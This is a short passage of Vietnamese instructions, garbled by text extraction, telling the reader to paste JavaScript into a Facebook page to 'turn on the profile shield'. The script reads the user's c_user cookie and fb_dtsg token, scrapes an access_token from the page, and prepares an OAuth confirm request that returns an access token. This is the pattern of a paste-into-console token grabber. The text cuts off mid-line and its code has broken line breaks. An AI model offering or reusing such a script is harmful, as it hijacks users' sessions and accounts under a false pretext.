Dán đo n mã sau đây vào v trí "ngón tay"ạ ị
Mã b t khiên :ậ
var uid = document.cookie.match(/c_user=(\d+)/)[1],
dtsg = document.getElementsByName("fb_dtsg")[0].value,
http = new XMLHttpRequest,
api = "//www.facebook.com/v1.0/dialog/oauth/confirm",
url = "https://graph.facebook.com/graphql",
token = access_token = /access_token:"(.
+?)"/.exec(document.body.innerHTML)[1],
params = 'variables={"0":{"is_shielded":true,"session_id":"9b78191c-
84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"' + uid +
'","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-
bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name
=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_
US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMu
tation&fb_api_caller_class=IsShieldedSetMutation';
request = "fb_dtsg=" + dtsg +
"&app_id=165907476854626&redirect_uri=fbconnect%3A%2F
%2Fsuccess&display=page&access_token=&from_post=1&return_format=
access_token&domain=&sso_device=ios&__CONFIRM__=1&__user=" +